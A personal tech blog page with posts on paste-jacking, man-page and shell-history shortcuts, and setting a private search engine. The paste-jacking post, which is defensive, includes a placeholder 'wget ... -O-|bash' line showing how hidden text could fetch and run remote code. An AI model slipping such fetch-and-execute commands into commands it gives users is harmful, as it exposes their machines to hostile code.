c0d3 :: j0rg3

A collection of tips, tricks and snips. A proud Blosxom weblog. All code. No cruft.

Thu, 04 Jul 2013

Preventing paste-jacking with fc

Paste-jacking: what? It’s a somewhat tongue-in-cheek name representing that, when it comes to the web, what you see is not necessarily what you copy.

Content can be hidden inside of what you’re copying. For example: ls /dev/null; echo " Something nasty could live here! 0_o ";
ls
-l

Paste below to see what lurks in the <span> that you’re not seeing:

If pasted to the command line, this could cause problems. It might seem trivial but it isn’t if you give it some thought. If I had compiled a command that could be considered a single line, but a very long line then commands could easily be slipped in and it might not jump out at you. Given the right kind of post, it could even involve a sudo and one might give very little thought to typing in a password, handing all power over. It even could be something like: wget -q "nasty-shell-code-named-something-harmless-sounding" -O-|bash
clear

Then it would, of course, continue with innocuous commands that might do something that takes your attention and fills your screen with things that look comforting and familiar, like an apt-get update followed by an upgrade.

In this way, an unsuspecting end-user could easily install a root-kit on behalf of Evil Genius™.

So what’s the cure?

Some suggest that you never copy and paste from web pages. That’s solid advice. You’ll learn more by re-typing and nothing is going to be hidden. The downside is it isn’t entirely practical. It’s bound to be one of those things that, in certain circumstances, we know that we ought do but don’t have time or patience for, every single time.

To the rescue comes our old friend fc! Designed for letting you build commands in a visual editor, it is perfect for this application. Just type fc at the command line and then paste from the web page into your text editor of choice. When you’re satisfied with the command, exit the editor. The line will be executed and there won’t be a shred of doubt about what, precisely, is being executed.

This isn’t really the intended use of fc, so it’s a makeshift solution. fc opens with the last command already on screen. So, you do have to delete that before building your new command but it’s an insignificant inconvenience in exchange for the ability to know what’s going to run before it has a chance to execute.

Read more at ush.it and h-online.com.


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Thu, 06 Jun 2013

Managing to use man pages through simple CLI tips

Recently, an author I admire and time-honored spinner of the Interwebs, Tony Lawrence emphasized the value of using man pagesmanual pagesDocumentation available from the command line.
> man ls
as a sanity check before getting carried away with powerful commands. I didn’t know about this one but he has written about a situation in which killall could produce some shocking, and potentially quite unpleasant, results.

Personally, I often quickly check man pages to be certain that I am using the correct flags or, as in the above case, anticipating results that bear some resemblance to what is actually likely to happen. Yet, it seems many people flock toward SERPSearch Engine Results Page A tasteful replacement for mentioning any particular search-engine by name.
Also useful as a verb:
I dunno. You’ll have to SERP it.
s for this information.

Perhaps the most compelling reason to head for the web is leaving the cursor amid the line you’re working on, without disturbing the command. SERPing the command however, could easily lead you to information about a variant that is more common than the one available to you. More importantly, the information retrieved from the search engine is almost certainly written by someone who did read the man page — and may even come with the admonishment that you RTFMRead The F#!$!*#’n Manual as a testament to the importance of developing this habit.

This can be made easier with just a few CLI shortcuts.

<CTRL+u> to cut what you have typed so far and <CTRL+y> to paste it back.

That is, you press <CTRL+u> and the line will be cleared, so you can then type man {command} and read the documentation. Don’t hesitate to jot quick notes of which flags you intend to use, if needed. Then exit the man page, press <CTRL+y> and finish typing right where you left off.

This is another good use for screen or tmux but let’s face it. There are times when you don’t want the overhead of opening another window for a quick look-up and even instances when these tools aren’t available.

A few other tips to make life easier when building complex commands:

Use the command fc to open up an editor in which you can build your complex command and, optionally, even save it as a shell script for future reuse.

Repeat the last word from the previous command (often a filename) with <ALT+.> or use an item from the last command by position, in reverse order:
> ls -lahtr *archive*
<ALT+1+.> : *archive*
<ALT+2+.> : -lahtr
<ALT+3+.> : ls

You can also use Word Designators to use items from history, such as adding sudo to the last command typed by:
sudo !!

This allows for tricks like replacing bits of a previous command:
!:s/misspelled/corrected/

Lastly, if you need a command that was typed earlier, you can search history by pressing <CTRL+r> and start typing an identifying portion of the command.

(Note: I have used these in Zsh and Bash, specifically. They can, however, be missing or overwritten — if a feature you want isn’t working, you can bind keys in a configuration file. Don’t just write it off, once you’ve solved the problem it will never again be an intimidating one.)

Happy hacking!


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Thu, 30 May 2013

Making ixquick your default search engine

In this writer’s opinion, it is vitally important that we take reasonable measures now to help insure anonymity, lest we create a situation where privacy no longer exists, and the simple want of, becomes suspicious.

Here’s how to configure your browser to automatically use a search engine that respects your privacy.

Chrome:

  1. Click Settings.
  2. Click “Set pages” in the “On startup” section.
  3. Enter https://ixquick.com/eng/ in the “Add a new page” text field.
  4. Click OK.
  5. Click “Manage search engines…”
  6. At the bottom of the “Search Engines” dialog, click in the “Add a new search engine” field.
  7. Enter
    ixquick
    ixquick.com
    https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
  8. Click “Make Default”.
  9. Click “Done”.

Firefox:

  1. Click the Tools Menu.
  2. Click Options.
  3. Click the General tab.
  4. In “When Firefox Starts” dropdown, select “Show my home page”.
  5. Enter https://ixquick.com/eng/ in the “Home Page” text field.
  6. Click one of the English options here.
  7. Check box for “Start using it right away.”
  8. Click “Add”.

Opera:

  1. Click “Manage Search Engines
  2. Click “Add”
  3. Enter
    Name: ixquick
    Keyword: x
    Address: https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
  4. Check “Use as default search engine”
  5. Click “OK”

Internet Explorer:

      _     ___  _ __        ___   _ _____ ___ 
     | |   / _ \| |\ \      / / | | |_   _|__ \
     | |  | | | | | \ \ /\ / /| | | | | |   / /
     | |__| |_| | |__\ V  V / | |_| | | |  |_| 
     |_____\___/|_____\_/\_/   \___/  |_|  (_) 
    
    
    (This is not a good strategy for privacy.)

Congratulations!

\o/

You are now one step closer to not having every motion on the Internet recorded.

This is a relatively small measure, though. You can improve your resistance to prying eyes (e.g., browser fingerprinting) by using the Torbrowser Bundle, or even better, Tails, and routing your web usage through Tor, i2p, or FreeNet.

If you would like more on subjects like anonymyzing, privacy and security then drop me a line via email or Bitmessage me: BM-2D9tDkYEJSTnEkGDKf7xYA5rUj2ihETxVR


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